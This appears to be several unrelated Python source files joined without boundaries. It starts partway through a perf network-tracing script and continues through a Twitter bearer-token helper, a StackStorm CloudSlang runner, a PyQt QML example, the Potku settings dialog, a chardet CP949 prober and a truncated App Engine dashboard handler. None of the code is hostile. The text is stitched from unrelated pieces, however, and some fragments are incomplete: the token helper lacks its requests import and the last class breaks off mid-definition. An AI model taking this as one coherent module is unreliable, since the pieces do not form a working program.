		print "   dev    len      Qdisc        " \
			"       netdevice             free"
		for i in range(len(tx_free_list)):
			print_transmit(tx_free_list[i])
	if debug:
		print "debug buffer status"
		print "----------------------------"
		print "xmit Qdisc:remain:%d overflow:%d" % \
			(len(tx_queue_list), of_count_tx_queue_list)
		print "xmit netdevice:remain:%d overflow:%d" % \
			(len(tx_xmit_list), of_count_tx_xmit_list)
		print "receive:remain:%d overflow:%d" % \
			(len(rx_skb_list), of_count_rx_skb_list)

# called from perf, when it finds a correspoinding event
def irq__softirq_entry(name, context, cpu, sec, nsec, pid, comm, vec):
	if symbol_str("irq__softirq_entry", "vec", vec) != "NET_RX":
		return
	event_info = (name, context, cpu, nsecs(sec, nsec), pid, comm, vec)
	all_event_list.append(event_info)

def irq__softirq_exit(name, context, cpu, sec, nsec, pid, comm, vec):
	if symbol_str("irq__softirq_entry", "vec", vec) != "NET_RX":
		return
	event_info = (name, context, cpu, nsecs(sec, nsec), pid, comm, vec)
	all_event_list.append(event_info)

def irq__softirq_raise(name, context, cpu, sec, nsec, pid, comm, vec):
	if symbol_str("irq__softirq_entry", "vec", vec) != "NET_RX":
		return
	event_info = (name, context, cpu, nsecs(sec, nsec), pid, comm, vec)
	all_event_list.append(event_info)

def irq__irq_handler_entry(name, context, cpu, sec, nsec, pid, comm,
			irq, irq_name):
	event_info = (name, context, cpu, nsecs(sec, nsec), pid, comm,
			irq, irq_name)
	all_event_list.append(event_info)

def irq__irq_handler_exit(name, context, cpu, sec, nsec, pid, comm, irq, ret):
	event_info = (name, context, cpu, nsecs(sec, nsec), pid, comm, irq, ret)
	all_event_list.append(event_info)

def napi__napi_poll(name, context, cpu, sec, nsec, pid, comm, napi, dev_name):
	event_info = (name, context, cpu, nsecs(sec, nsec), pid, comm,
			napi, dev_name)
	all_event_list.append(event_info)

def net__netif_receive_skb(name, context, cpu, sec, nsec, pid, comm, skbaddr,
			skblen, dev_name):
	event_info = (name, context, cpu, nsecs(sec, nsec), pid, comm,
			skbaddr, skblen, dev_name)
	all_event_list.append(event_info)

def net__netif_rx(name, context, cpu, sec, nsec, pid, comm, skbaddr,
			skblen, dev_name):
	event_info = (name, context, cpu, nsecs(sec, nsec), pid, comm,
			skbaddr, skblen, dev_name)
	all_event_list.append(event_info)

def net__net_dev_queue(name, context, cpu, sec, nsec, pid, comm,
			skbaddr, skblen, dev_name):
	event_info = (name, context, cpu, nsecs(sec, nsec), pid, comm,
			skbaddr, skblen, dev_name)
	all_event_list.append(event_info)

def net__net_dev_xmit(name, context, cpu, sec, nsec, pid, comm,
			skbaddr, skblen, rc, dev_name):
	event_info = (name, context, cpu, nsecs(sec, nsec), pid, comm,
			skbaddr, skblen, rc ,dev_name)
	all_event_list.append(event_info)

def skb__kfree_skb(name, context, cpu, sec, nsec, pid, comm,
			skbaddr, protocol, location):
	event_info = (name, context, cpu, nsecs(sec, nsec), pid, comm,
			skbaddr, protocol, location)
	all_event_list.append(event_info)

def skb__consume_skb(name, context, cpu, sec, nsec, pid, comm, skbaddr):
	event_info = (name, context, cpu, nsecs(sec, nsec), pid, comm,
			skbaddr)
	all_event_list.append(event_info)

def skb__skb_copy_datagram_iovec(name, context, cpu, sec, nsec, pid, comm,
	skbaddr, skblen):
	event_info = (name, context, cpu, nsecs(sec, nsec), pid, comm,
			skbaddr, skblen)
	all_event_list.append(event_info)

def handle_irq_handler_entry(event_info):
	(name, context, cpu, time, pid, comm, irq, irq_name) = event_info
	if cpu not in irq_dic.keys():
		irq_dic[cpu] = []
	irq_record = {'irq':irq, 'name':irq_name, 'cpu':cpu, 'irq_ent_t':time}
	irq_dic[cpu].append(irq_record)

def handle_irq_handler_exit(event_info):
	(name, context, cpu, time, pid, comm, irq, ret) = event_info
	if cpu not in irq_dic.keys():
		return
	irq_record = irq_dic[cpu].pop()
	if irq != irq_record['irq']:
		return
	irq_record.update({'irq_ext_t':time})
	# if an irq doesn't include NET_RX softirq, drop.
	if 'event_list' in irq_record.keys():
		irq_dic[cpu].append(irq_record)

def handle_irq_softirq_raise(event_info):
	(name, context, cpu, time, pid, comm, vec) = event_info
	if cpu not in irq_dic.keys() \
	or len(irq_dic[cpu]) == 0:
		return
	irq_record = irq_dic[cpu].pop()
	if 'event_list' in irq_record.keys():
		irq_event_list = irq_record['event_list']
	else:
		irq_event_list = []
	irq_event_list.append({'time':time, 'event':'sirq_raise'})
	irq_record.update({'event_list':irq_event_list})
	irq_dic[cpu].append(irq_record)

def handle_irq_softirq_entry(event_info):
	(name, context, cpu, time, pid, comm, vec) = event_info
	net_rx_dic[cpu] = {'sirq_ent_t':time, 'event_list':[]}

def handle_irq_softirq_exit(event_info):
	(name, context, cpu, time, pid, comm, vec) = event_info
	irq_list = []
	event_list = 0
	if cpu in irq_dic.keys():
		irq_list = irq_dic[cpu]
		del irq_dic[cpu]
	if cpu in net_rx_dic.keys():
		sirq_ent_t = net_rx_dic[cpu]['sirq_ent_t']
		event_list = net_rx_dic[cpu]['event_list']
		del net_rx_dic[cpu]
	if irq_list == [] or event_list == 0:
		return
	rec_data = {'sirq_ent_t':sirq_ent_t, 'sirq_ext_t':time,
		    'irq_list':irq_list, 'event_list':event_list}
	# merge information realted to a NET_RX softirq
	receive_hunk_list.append(rec_data)

def handle_napi_poll(event_info):
	(name, context, cpu, time, pid, comm, napi, dev_name) = event_info
	if cpu in net_rx_dic.keys():
		event_list = net_rx_dic[cpu]['event_list']
		rec_data = {'event_name':'napi_poll',
				'dev':dev_name, 'event_t':time}
		event_list.append(rec_data)

def handle_netif_rx(event_info):
	(name, context, cpu, time, pid, comm,
		skbaddr, skblen, dev_name) = event_info
	if cpu not in irq_dic.keys() \
	or len(irq_dic[cpu]) == 0:
		return
	irq_record = irq_dic[cpu].pop()
	if 'event_list' in irq_record.keys():
		irq_event_list = irq_record['event_list']
	else:
		irq_event_list = []
	irq_event_list.append({'time':time, 'event':'netif_rx',
		'skbaddr':skbaddr, 'skblen':skblen, 'dev_name':dev_name})
	irq_record.update({'event_list':irq_event_list})
	irq_dic[cpu].append(irq_record)

def handle_netif_receive_skb(event_info):
	global of_count_rx_skb_list

	(name, context, cpu, time, pid, comm,
		skbaddr, skblen, dev_name) = event_info
	if cpu in net_rx_dic.keys():
		rec_data = {'event_name':'netif_receive_skb',
			    'event_t':time, 'skbaddr':skbaddr, 'len':skblen}
		event_list = net_rx_dic[cpu]['event_list']
		event_list.append(rec_data)
		rx_skb_list.insert(0, rec_data)
		if len(rx_skb_list) > buffer_budget:
			rx_skb_list.pop()
			of_count_rx_skb_list += 1

def handle_net_dev_queue(event_info):
	global of_count_tx_queue_list

	(name, context, cpu, time, pid, comm,
		skbaddr, skblen, dev_name) = event_info
	skb = {'dev':dev_name, 'skbaddr':skbaddr, 'len':skblen, 'queue_t':time}
	tx_queue_list.insert(0, skb)
	if len(tx_queue_list) > buffer_budget:
		tx_queue_list.pop()
		of_count_tx_queue_list += 1

def handle_net_dev_xmit(event_info):
	global of_count_tx_xmit_list

	(name, context, cpu, time, pid, comm,
		skbaddr, skblen, rc, dev_name) = event_info
	if rc == 0: # NETDEV_TX_OK
		for i in range(len(tx_queue_list)):
			skb = tx_queue_list[i]
			if skb['skbaddr'] == skbaddr:
				skb['xmit_t'] = time
				tx_xmit_list.insert(0, skb)
				del tx_queue_list[i]
				if len(tx_xmit_list) > buffer_budget:
					tx_xmit_list.pop()
					of_count_tx_xmit_list += 1
				return

def handle_kfree_skb(event_info):
	(name, context, cpu, time, pid, comm,
		skbaddr, protocol, location) = event_info
	for i in range(len(tx_queue_list)):
		skb = tx_queue_list[i]
		if skb['skbaddr'] == skbaddr:
			del tx_queue_list[i]
			return
	for i in range(len(tx_xmit_list)):
		skb = tx_xmit_list[i]
		if skb['skbaddr'] == skbaddr:
			skb['free_t'] = time
			tx_free_list.append(skb)
			del tx_xmit_list[i]
			return
	for i in range(len(rx_skb_list)):
		rec_data = rx_skb_list[i]
		if rec_data['skbaddr'] == skbaddr:
			rec_data.update({'handle':"kfree_skb",
					'comm':comm, 'pid':pid, 'comm_t':time})
			del rx_skb_list[i]
			return

def handle_consume_skb(event_info):
	(name, context, cpu, time, pid, comm, skbaddr) = event_info
	for i in range(len(tx_xmit_list)):
		skb = tx_xmit_list[i]
		if skb['skbaddr'] == skbaddr:
			skb['free_t'] = time
			tx_free_list.append(skb)
			del tx_xmit_list[i]
			return

def handle_skb_copy_datagram_iovec(event_info):
	(name, context, cpu, time, pid, comm, skbaddr, skblen) = event_info
	for i in range(len(rx_skb_list)):
		rec_data = rx_skb_list[i]
		if skbaddr == rec_data['skbaddr']:
			rec_data.update({'handle':"skb_copy_datagram_iovec",
					'comm':comm, 'pid':pid, 'comm_t':time})
			del rx_skb_list[i]
			return

import base64
import ignore


consumer_key = ignore.TWITTER_CONSUMER_KEY
consumer_secret = ignore.TWITTER_CONSUMER_SECRET
access_token = ignore.TWITTER_ACCESS_TOKEN
access_secret = ignore.TWITTER_ACCESS_SECRET

def get_bearer_token(consumer_key, consumer_secret):
    # get bearer token for application only requests
    bearer_token_credentials = base64.urlsafe_b64encode('{}:{}'.format(consumer_key, consumer_secret).encode('ascii')).decode('ascii')
    url = 'https://api.twitter.com/oauth2/token'
    headers = {
    'Authorization': 'Basic {}'.format(bearer_token_credentials),
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
    }
    data = 'grant_type=client_credentials'
    response = requests.post(url, headers=headers, data=data)
    response_data = response.json()
    if response_data['token_type'] == 'bearer':
        bearer_token = response_data['access_token']
    else:
        raise RuntimeError('unexpected token type: {}'.format(response_data['token_type']))
    return bearer_token

# Licensed to the StackStorm, Inc ('StackStorm') under one or more
# contributor license agreements.  See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License.  You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import uuid
import os
import tempfile
import yaml

from oslo_config import cfg
from eventlet.green import subprocess

from st2common.util.green.shell import run_command
from st2common.util.shell import kill_process
from st2common.util.shell import quote_unix
from st2common import log as logging
from st2actions.runners import ActionRunner
from st2common.constants.action import LIVEACTION_STATUS_SUCCEEDED
from st2common.constants.action import LIVEACTION_STATUS_FAILED
from st2common.constants.runners import LOCAL_RUNNER_DEFAULT_ACTION_TIMEOUT
import st2common.util.jsonify as jsonify


LOG = logging.getLogger(__name__)

# constants to lookup in runner_parameters.
RUNNER_INPUTS = 'inputs'
RUNNER_TIMEOUT = 'timeout'


def get_runner():
    return CloudSlangRunner(str(uuid.uuid4()))


class CloudSlangRunner(ActionRunner):
    """
    Runner which executes cloudslang flows and operations as single action
    """
    KEYS_TO_TRANSFORM = ['stdout', 'stderr']

    def __init__(self, runner_id):
        super(CloudSlangRunner, self).__init__(runner_id=runner_id)

    def pre_run(self):
        self._flow_path = self.entry_point
        self._user = cfg.CONF.system_user.user
        self._cloudslang_home = cfg.CONF.cloudslang.home_dir
        self._inputs = self.runner_parameters.get(RUNNER_INPUTS, None)
        self._timeout = self.runner_parameters.get(RUNNER_TIMEOUT,
                                                   LOCAL_RUNNER_DEFAULT_ACTION_TIMEOUT)

    def run(self, action_parameters):
        # Note: "inputs" runner parameter has precedence over action parameters
        if self._inputs:
            inputs = self._inputs
        elif action_parameters:
            inputs = action_parameters
        else:
            inputs = None

        inputs_file_path = self._write_inputs_to_a_temp_file(inputs=inputs)
        has_inputs = (inputs_file_path is not None)

        try:
            command = self._prepare_command(has_inputs=has_inputs,
                                            inputs_file_path=inputs_file_path)

            result, status = self._run_cli_command(command)
            return (status, jsonify.json_loads(result, CloudSlangRunner.KEYS_TO_TRANSFORM), None)
        finally:
            if inputs_file_path and os.path.isfile(inputs_file_path):
                os.remove(inputs_file_path)

    def _write_inputs_to_a_temp_file(self, inputs):
        """
        Serialize inputs dictionary as YAML and write it in a temporary file.

        :param inputs: Inputs dictionary.
        :type inputs: ``dict``

        :return: Path to the temporary file.
        :rtype: ``str``
        """
        if not inputs:
            return None

        LOG.debug('Inputs dict: %s', inputs)

        inputs_file = tempfile.NamedTemporaryFile(delete=False)
        inputs_file_path = inputs_file.name
        yaml_inputs = yaml.safe_dump(inputs, default_flow_style=False)

        with open(inputs_file_path, 'w') as fp:
            fp.write(yaml_inputs)

        LOG.debug('YAML serialized inputs: %s', yaml_inputs)

        return inputs_file_path

    def _prepare_command(self, has_inputs, inputs_file_path):
        LOG.debug('CloudSlang home: %s', self._cloudslang_home)

        cloudslang_binary = os.path.join(self._cloudslang_home, 'bin/cslang')
        LOG.debug('Using CloudSlang binary: %s', cloudslang_binary)

        command_args = ['--f', self._flow_path,
                        '--cp', self._cloudslang_home]

        if has_inputs:
            command_args += ['--if', inputs_file_path]

        command = cloudslang_binary + " run " + " ".join([quote_unix(arg) for arg in command_args])
        LOG.info('Executing action via CloudSlangRunner: %s', self.runner_id)
        LOG.debug('Command is: %s', command)
        return command

    def _run_cli_command(self, command):
        exit_code, stdout, stderr, timed_out = run_command(
            cmd=command, stdin=None,
            stdout=subprocess.PIPE, stderr=subprocess.PIPE,
            shell=True, timeout=self._timeout, kill_func=kill_process)

        error = None
        if timed_out:
            error = 'Action failed to complete in %s seconds' % self._timeout
            exit_code = -9

        succeeded = (exit_code == 0)
        result = {
            'failed': not succeeded,
            'succeeded': succeeded,
            'return_code': exit_code,
            'stdout': stdout,
            'stderr': stderr
        }
        if error:
            result['error'] = error

        status = LIVEACTION_STATUS_SUCCEEDED if succeeded else LIVEACTION_STATUS_FAILED
        return result, status

#!/usr/bin/env python


#############################################################################
##
## Copyright (C) 2013 Riverbank Computing Limited.
## Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
## All rights reserved.
##
## This file is part of the examples of PyQt.
##
## $QT_BEGIN_LICENSE:BSD$
## You may use this file under the terms of the BSD license as follows:
##
## "Redistribution and use in source and binary forms, with or without
## modification, are permitted provided that the following conditions are
## met:
##   * Redistributions of source code must retain the above copyright
##     notice, this list of conditions and the following disclaimer.
##   * Redistributions in binary form must reproduce the above copyright
##     notice, this list of conditions and the following disclaimer in
##     the documentation and/or other materials provided with the
##     distribution.
##   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
##     the names of its contributors may be used to endorse or promote
##     products derived from this software without specific prior written
##     permission.
##
## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
## $QT_END_LICENSE$
##
#############################################################################


import sys

from PyQt5.QtCore import pyqtProperty, QCoreApplication, QObject, QUrl
from PyQt5.QtQml import qmlRegisterType, QQmlComponent, QQmlEngine


QML = b'''
import People 1.0

Person {
    name: "Bob Jones"
    shoeSize: 12
}
'''


class Person(QObject):
    def __init__(self, parent=None):
        super(Person, self).__init__(parent)

        self._name = ''
        self._shoeSize = 0

    @pyqtProperty(str)
    def name(self):
        return self._name

    @name.setter
    def name(self, name):
        self._name = name

    @pyqtProperty(int)
    def shoeSize(self):
        return self._shoeSize

    @shoeSize.setter
    def shoeSize(self, shoeSize):
        self._shoeSize = shoeSize


app = QCoreApplication(sys.argv)

qmlRegisterType(Person, "People", 1, 0, "Person")

engine = QQmlEngine()

component = QQmlComponent(engine)
component.setData(QML, QUrl())

person = component.create()

if person is not None:
    print("The person's name is \"%s\"" % person.name)
    print("They wear a %d sized shoe" % person.shoeSize)
else:
    print("Unable to create component instance")
    for e in component.errors():
        print("Error:", e.toString());

# coding=utf-8
'''
Created on 30.4.2013
Updated on 26.8.2013

Potku is a graphical user interface for analyzation and 
visualization of measurement data collected from a ToF-ERD 
telescope. For physics calculations Potku uses external 
analyzation components.  
Copyright (C) Jarkko Aalto, Timo Konu, Samuli Kärkkäinen, Samuli Rahkonen and 
Miika Raunio

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program (file named 'LICENCE').
'''
__author__ = "Jarkko Aalto \n Timo Konu \n Samuli Kärkkäinen \n Samuli Rahkonen \n Miika Raunio"
__versio__ = "1.0"

from os import path
from PyQt4 import QtCore, uic, QtGui

from Dialogs.ImportMeasurementDialog import CoincTiming
from Widgets.MatplotlibTofeHistogramWidget import MatplotlibHistogramWidget


class GlobalSettingsDialog(QtGui.QDialog):
    def __init__(self, masses, settings):
        '''Constructor for the program
        '''
        super().__init__()
        self.masses = masses
        self.settings = settings
        self.__added_timings = {}  # Placeholder for timings
        self.setAttribute(QtCore.Qt.WA_DeleteOnClose)
        self.ui = uic.loadUi(path.join("ui_files", "ui_global_settings.ui"), self)
        
        # Connect UI buttons
        self.ui.OKButton.clicked.connect(self.__accept_changes)
        self.ui.cancelButton.clicked.connect(self.close)
        self.ui.loadProjectPathButton.clicked.connect(
                                                  self.__change_project_directory)
        self.ui.loadEffPathButton.clicked.connect(
                                              self.__change_efficiency_directory)
        buttons = self.ui.findChild(QtGui.QButtonGroup, "elementButtons")
        buttons.buttonClicked.connect(self.__change_element_color)
        self.line_coinc_count.setValidator(QtGui.QIntValidator(0, 1000000))
        
        self.__set_values()
        self.exec_()
        
    
    def __set_values(self):
        '''Set settings values to dialog.
        '''
        self.ui.projectPathLineEdit.setText(self.settings.get_project_directory())
        self.ui.lineEdit_eff_directory.setText(
                                       self.settings.get_efficiency_directory())
        for button in self.ui.groupBox_3.findChildren(QtGui.QPushButton):
            self.__set_button_color(button,
                                    self.settings.get_element_color(button.text()))
            
        label_adc = QtGui.QLabel("ADC")
        label_low = QtGui.QLabel("Low")
        label_high = QtGui.QLabel("High")
        self.ui.grid_timing.addWidget(label_adc, 0, 0)
        self.ui.grid_timing.addWidget(label_low, 1, 0)
        self.ui.grid_timing.addWidget(label_high, 2, 0)
        for i in range(0, 3):
            timing = self.settings.get_import_timing(i)
            label = QtGui.QLabel("{0}".format(i))
            spin_low = self.__create_spinbox(timing[0])
            spin_high = self.__create_spinbox(timing[1])
            self.__added_timings[i] = CoincTiming(i, spin_low, spin_high)
            self.ui.grid_timing.addWidget(label, 0, i + 1)
            self.ui.grid_timing.addWidget(spin_low, 1, i + 1)
            self.ui.grid_timing.addWidget(spin_high, 2, i + 1)
        self.line_coinc_count.setText(str(self.settings.get_import_coinc_count()))
        self.__set_cross_sections()
        self.check_es_output.setChecked(self.settings.is_es_output_saved())
        
        # ToF-E graph settings
        self.ui.check_tofe_invert_x.setChecked(self.settings.get_tofe_invert_x())
        self.ui.check_tofe_invert_y.setChecked(self.settings.get_tofe_invert_y())
        self.ui.check_tofe_transpose.setChecked(self.settings.get_tofe_transposed())
        tofe_bin_mode = self.settings.get_tofe_bin_range_mode()
        self.ui.radio_tofe_bin_auto.setChecked(tofe_bin_mode == 0)
        self.ui.radio_tofe_bin_manual.setChecked(tofe_bin_mode == 1)
        x_range_min, x_range_max = self.settings.get_tofe_bin_range_x()
        y_range_min, y_range_max = self.settings.get_tofe_bin_range_y()
        self.ui.spin_tofe_bin_x_max.setValue(x_range_max)
        self.ui.spin_tofe_bin_x_min.setValue(x_range_min)
        self.ui.spin_tofe_bin_y_max.setValue(y_range_max)
        self.ui.spin_tofe_bin_y_min.setValue(y_range_min)
        self.ui.spin_tofe_compression_x.setValue(
                                           self.settings.get_tofe_compression_x())
        self.ui.spin_tofe_compression_y.setValue(
                                           self.settings.get_tofe_compression_y())
        self.ui.spin_depth_iterations.setValue(self.settings.get_num_iterations())
        dirtyinteger = 0
        colors = sorted(MatplotlibHistogramWidget.color_scheme.items())
        for key, unused_value in colors:
            self.ui.combo_tofe_colors.addItem(key)
            if key == self.settings.get_tofe_color():
                self.ui.combo_tofe_colors.setCurrentIndex(dirtyinteger)
            dirtyinteger += 1
    
    
    def __create_spinbox(self, default):
        spinbox = QtGui.QSpinBox()
        spinbox.stepBy(1)
        spinbox.setMinimum(-1000)
        spinbox.setMaximum(1000)
        spinbox.setValue(int(default))
        return spinbox
    
    
    def __accept_changes(self):
        '''Accept changed settings and save.
        '''
        self.settings.set_project_directory(self.ui.projectPathLineEdit.text())
        self.settings.set_efficiency_directory(
                                           self.ui.lineEdit_eff_directory.text())
        for button in self.ui.groupBox_3.findChildren(QtGui.QPushButton):
            self.settings.set_element_color(button.text(), button.color)
        for key in self.__added_timings.keys():
            coinc_timing = self.__added_timings[key]
            self.settings.set_import_timing(key,
                                            coinc_timing.low.value(),
                                            coinc_timing.high.value())
        self.settings.set_import_coinc_count(self.line_coinc_count.text())
        
        # Save cross sections
        if self.ui.radio_cross_1.isChecked():
            flag_cross = 1
        elif self.ui.radio_cross_2.isChecked():
            flag_cross = 2
        elif self.ui.radio_cross_3.isChecked():
            flag_cross = 3
        self.settings.set_cross_sections(flag_cross)
        self.settings.set_es_output_saved(self.check_es_output.isChecked())
        
        # ToF-E graph settings
        self.settings.set_tofe_invert_x(self.ui.check_tofe_invert_x.isChecked())
        self.settings.set_tofe_invert_y(self.ui.check_tofe_invert_y.isChecked())
        self.settings.set_tofe_transposed(self.ui.check_tofe_transpose.isChecked())
        self.settings.set_tofe_color(self.ui.combo_tofe_colors.currentText())
        if self.ui.radio_tofe_bin_auto.isChecked():    
            self.settings.set_tofe_bin_range_mode(0)
        elif self.ui.radio_tofe_bin_manual.isChecked():    
            self.settings.set_tofe_bin_range_mode(1)
        x_r_min = self.ui.spin_tofe_bin_x_min.value()
        x_r_max = self.ui.spin_tofe_bin_x_max.value()
        y_r_min = self.ui.spin_tofe_bin_y_min.value()
        y_r_max = self.ui.spin_tofe_bin_y_max.value()
        if x_r_min > x_r_max: x_r_min = 0
        if y_r_min > y_r_max: y_r_min = 0
        compression_x = self.ui.spin_tofe_compression_x.value()
        compression_y = self.ui.spin_tofe_compression_y.value()
        self.settings.set_tofe_bin_range_x(x_r_min, x_r_max)
        self.settings.set_tofe_bin_range_y(y_r_min, y_r_max)
        self.settings.set_tofe_compression_x(compression_x)
        self.settings.set_tofe_compression_y(compression_y)
        self.settings.set_num_iterations(self.ui.spin_depth_iterations.value())

        # Save config and close
        self.settings.save_config()
        self.close()
        
        
    def __change_project_directory(self):
        '''Change default project directory.
        '''
        folder = QtGui.QFileDialog.getExistingDirectory(self,
            "Select default project directory",
            directory=self.ui.projectPathLineEdit.text())
        if folder:
            self.ui.projectPathLineEdit.setText(folder)
            
    
    def __change_efficiency_directory(self):
        '''Change efficiency file directory.
        '''
        folder = QtGui.QFileDialog.getExistingDirectory(self,
            "Select efficiency file directory",
            directory=self.ui.lineEdit_eff_directory.text())
        if folder:
            self.ui.lineEdit_eff_directory.setText(folder)
        
        
    def __change_element_color(self, button):
        '''Change color of element button.
        
        Args:
            button: QPushButton
        '''
        dialog = QtGui.QColorDialog(self)
        self.color = dialog.getColor(QtGui.QColor(button.color),
                                     self,
                                     "Select Color for Element: {0}".format(
                                                                button.text()))
        if self.color.isValid():
            self.__set_button_color(button, self.color.name())
    
    
    def __set_button_color(self, button, color_name):
        '''Change button text color.
        
        Args:
            button: QPushButton
            color_name: String representing color.
        '''
        text_color = "black"
        color = QtGui.QColor(color_name)
        luminance = 0.2126 * color.red() + 0.7152 * color.green()
        luminance += 0.0722 * color.blue()
        if luminance < 50:
            text_color = "white"
        button.color = color.name()
        if not button.isEnabled():
            return  # Do not set color for disabled buttons.
        button.setStyleSheet("background-color: {0}; color: {1};".format(
                                                     color.name(), text_color))
    def __set_cross_sections(self):
        '''Set cross sections to UI.
        '''
        flag = self.settings.get_cross_sections()
        self.ui.radio_cross_1.setChecked(flag == 1)
        self.ui.radio_cross_2.setChecked(flag == 2)
        self.ui.radio_cross_3.setChecked(flag == 3)
        

######################## BEGIN LICENSE BLOCK ########################
# The Original Code is mozilla.org code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .mbcharsetprober import MultiByteCharSetProber
from .codingstatemachine import CodingStateMachine
from .chardistribution import EUCKRDistributionAnalysis
from .mbcssm import CP949SMModel


class CP949Prober(MultiByteCharSetProber):
    def __init__(self):
        MultiByteCharSetProber.__init__(self)
        self._mCodingSM = CodingStateMachine(CP949SMModel)
        # NOTE: CP949 is a superset of EUC-KR, so the distribution should be
        #       not different.
        self._mDistributionAnalyzer = EUCKRDistributionAnalysis()
        self.reset()

    def get_charset_name(self):
        return "CP949"

# Copyright (C) 2010 Google Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
#     * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#     * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
#     * Neither the name of Google Inc. nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import logging
import mimetypes
import urllib2

from google.appengine.api import users
from google.appengine.ext import webapp
from google.appengine.ext.webapp import template

from model.dashboardfile import DashboardFile

PARAM_FILE = "file"


def get_content_type(filename):
    return mimetypes.guess_type(filename)[0] or "application/octet-stream"


class GetDashboardFile(webapp.RequestHandler):
    def get(self, resource):
        if not resource:
            logging.debug("Getting dashboard file list.")
            return self._get_file_list()

        filename = str(urllib2.unquote(resource))

        logging.debug("Getting dashboard file: %s", filename)

        files = DashboardFile.get_files(filename)
        if not files:
            logging.error("Failed to find dashboard file: %s, request: %s",
                filename, self.request)
            self.response.set_status(404)
            return

        content_type = "%s; charset=utf-8" % get_content_type(filename)
        logging.info("content type: %s", content_type)
        self.response.headers["Content-Type"] = content_type
        self.response.out.write(files[0].data)

    def _get_file_list(self):
        logging.info("getting dashboard file list.")

        files = DashboardFile.get_files("", 100)
        if not files:
            logging.info("Failed to find dashboard files.")
            self.response.set_status(404)
            return

        template_values = {
            "admin": users.is_current_user_admin(),
            "files": files,
        }
        self.response.out.write(
            template.render("templates/dashboardfilelist.html",
                template_values))


class UpdateDashboardFile(webapp.RequestHandler):
    def get(self):
        files = self.request.get_all(PARAM_FILE)
        if not files:
            # FIXME: Just grab the entire dashboards directory.
            files = ["aggregate_results.html",
                     "builders.js",
                     "dashboard_base.js",
                     "dygraph-combined.js",
                     "flakiness_dashboard.html",
                     "timeline_explorer.html",
                     "treemap.html",
                     "webtreemap.css",
                     "webtreemap.js"]

        errors = []
        for file in files:
            if not DashboardFile.update_file(file):
                errors.append("Failed to update file: %s" % file)

        if errors:
            messages = "; ".join(errors)
            logging.warning(messages)
            self.response.set_status(500, messages)
            self.response.out.write("FAIL")
        else:
            self.response.set_status(200)
            self.response.out.write("OK")


class DeleteDashboardFile(webapp.RequestHandler):
    def get(self):
